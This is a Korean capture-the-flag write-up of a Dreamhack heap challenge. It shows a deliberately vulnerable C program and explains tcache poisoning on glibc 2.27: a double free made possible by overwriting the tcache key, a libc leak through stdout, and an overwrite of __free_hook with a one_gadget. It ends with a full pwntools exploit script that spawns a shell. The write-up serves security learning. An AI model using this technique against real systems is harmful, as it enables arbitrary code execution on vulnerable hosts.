Index
문제 환경
Ubuntu 18.04 / glibc 2.27
문제
보호기법 확인
tcache_poison.c
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
chunk 포인터 변수에 malloc으로 할당한 주소를 저장한다.
case 1 : size를 입력받아 힙 영역을 동적할당하고 데이터를 쓴다. chunk 포인터 변수에 저장한다.
case 2 : chunk 포인터 변수에 저장된 주소의 힙 영역을 해제한다.
case 3 : chunk 포인터 변수에 저장된 주소의 데이터를 출력한다.
case 4 : chunk 포인터 변수에 저장된 주소의 데이터를 쓴다.
문제 풀이
glibc 2.27에서는 관련된 보호기법이 없으므로, key
를 조작하여 다시 해제해서 더블 프리가 가능하다. 해당 문제는 dreamhack의 함께 풀기 익스플로잇 코드를 기반으로 각 단계별 heap 영역을 확인할 것이다.
Libc Leak
main 첫 부분에서 stdin
과 stdout
을 사용한다. 이 함수 안의 포인터 변수는 각각 libc를 가리키므로, 이 값을 읽으면 libc 주소를 얻을 수 있다.
메뉴 1로 0x40크기의 chunk 할당 후, 메뉴 4로 chunk 해제(free)
정상적으로 tcache bin에 할당받았었던 주소의 chunk가 들어갔다.
메뉴 3으로 chunk의 key 값 변경
3번 메뉴로 free된 chunk지만, chunk 포인터 변수는 아직 해당 주소의 데이터를 쓸 수 있다. 이 데이터를 채워서 malloc_chunk 구조체 기준으로는 bk의 값을 변조해준다. malloc chunk의 bk부분은 tcache_entry에서 key값 역할을 하기 때문이다. key 값을 변조하면 double free가 가능하다.
메뉴 4로 free된 chunk 다시 free → double free
이후 0x40 크기의 chunk를 tcachebins
에서 꺼내 쓸 때, 0x1d39260
의 chunk를 두번이나 할당 하려고 할 것이다. free된 chunk의 관리는 fd를 통해 관리되므로, 첫번째 할당에 0x1d39260
를 꺼내서 데이터 공간에 A*8을 넣는다고 가정해보자. 0x1d39260
주소의 heap 영역은 할당되었음에도 불구하고, tcachebins
에서 freed chunk로 인식하게 된다. 그러면 남아있는 tcachebins
의 chunk 1개의 fd의 값은 0x4141… 값이 될 것이다. 그럼 두번째 할당은 0x4141…
값의 주소의 영역을 할당받을 수 있는 것이다.
문제에서는 stdout
주소를 넣어준다. 확인해보자.
메뉴 1로 chunk를 할당하며 stdout 주소를 데이터 영역(fd)에 쓰기
데이터가 할당되어 stdout
의 주소까지 저장되었음에도, Freed chunk로 인식한다.
stdout
을 넣어준 이유는 libc의 주소를 leak 하기 위함이다. 우리가 읽어야 할 주소는 위 사진에서의 0x7f…..
의 주소이다.
메뉴 1로 아무 값을 넣고 chunk를 할당
먼저, 앞서 0x1d39260
주소를 빼내기 위해 chunk를 하나 할당해준다.
할당이 되어도 계속 freed chunk로 인식되며, 이미 tcachebin
은 이미 오염되버린 것을 확인할 수 있다. 이제 다음에 할당되는 chunk는 0x601010
의 주소를 가질 것이다.
메뉴 1로 chunk 할당 후, _IO_2_1_stdout_ 의 끝 자리 오프셋(0x60)을 입력
우리가 leak할 주소의 오프셋을 구한다. chunk가 할당 받을 때, 데이터를 입력해야 하므로, 맨 끝 1바이트를 입력해주어 다른 값으로 변하지 않도록 한다. 그럼 현재 chunk 포인터 변수는 0x601010
을 가리키고 있을 것이다.
메뉴 3으로 chunk 포인터 변수의 값 출력
leak된 주소에 위의 과정의 offset을 빼면 libc_base가 나오고, 이를 통해 __free_hook
변수와 one_gadget
주소를 구할 수 있다.
Exploit
앞선 과정과 같은 방식으로 chunk를 두번 해제한다. 앞선 libc leak에서는 우리가 스택 주소를 얻기 위해 할당을 받으면서, 해당 오프셋의 1바이트를 입력해주었다. __free_hook
변수 주소를 구했으니, 이 주소에 one_gadget
주소를 넣고 free
함수를 실행하면 셸을 얻을 수 있다.
메뉴 1로 0x50크기의 chunk 할당 후, 메뉴 4로 chunk 해제(free)
0x40
크기를 관리하는 tcachebin
는 이미 오염되버렸다. 0x50
을 관리하는 tcachebin
을 사용할 것이다.
메뉴 3으로 chunk의 key 값 변경
앞 과정과 같은 설명은 생략한다.
메뉴 4로 free된 chunk 다시 free → double free
메뉴 1로 chunk를 할당하며 __free_hook 주소를 데이터 영역(fd)에 쓰기
0x1d39290
의 fd의 값에 __free_hook
주소가 들어갔다.
두 번째 할당에서 __free_hook
주소를 할당받을 수 있다.
메뉴 1로 아무 값을 넣고 chunk를 할당
첫 번째 할당으로 bin의 0x1d392a0
을 빼준다.
메뉴 1로 chunk(__free_hook의 주소) 할당 후, one_gadget 주소 쓰기
__free_hook
의 변수가 세팅되었다. free
함수가 실행된다면?
익스플로잇 코드
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
import warnings
warnings.filterwarnings('ignore')
#context.log_level='debug'
p = process("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./tcache_poison")
#p = remote("host3.dreamhack.games", 16879)
#libc = ELF('./libc-2.27.so')
og_offset = [0x4f2a5, 0x4f302, 0x10a2fc] #local
#og_offset = [0x4f3d5, 0x4f432, 0x10a41c] #remote
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + og_offset[1]
slog("libc_base", lb)
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
Uploaded by N2T